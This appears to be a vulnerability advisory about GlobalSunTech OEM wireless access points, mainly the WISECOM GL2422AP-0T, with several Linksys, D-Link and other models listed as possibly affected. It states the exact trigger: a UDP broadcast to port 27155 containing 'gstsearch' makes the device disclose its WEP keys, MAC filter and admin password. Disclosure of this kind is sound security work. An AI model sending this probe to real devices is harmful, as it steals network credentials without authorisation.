        Accesspoints disclose wep keys, password and mac filter



GlobalSunTech develops Wireless Access Points for OEM customers like
Linksys, D-Link and others. Capturing the traffic of a WISECOM GL2422AP-0T
during the setup phase showed a security problem.

Sending a broadcast packet to UDP port 27155 containing the string
"gstsearch" causes the accesspoint to return wep keys, mac filter and
admin password. This happens on the WLAN Side and on the LAN Side.

Systems Affected
        Vulnerable, tested, OEM Version from GlobalSunTech:
                WISECOM GL2422AP-0T

        Possibly vulnerable, not tested, OEM Version from GlobalSunTech:
                D-Link DWL-900AP+ B1 version 2.1 and 2.2
                ALLOY GL-2422AP-S
                EUSSO GL2422-AP
                LINKSYS WAP11-V2.2
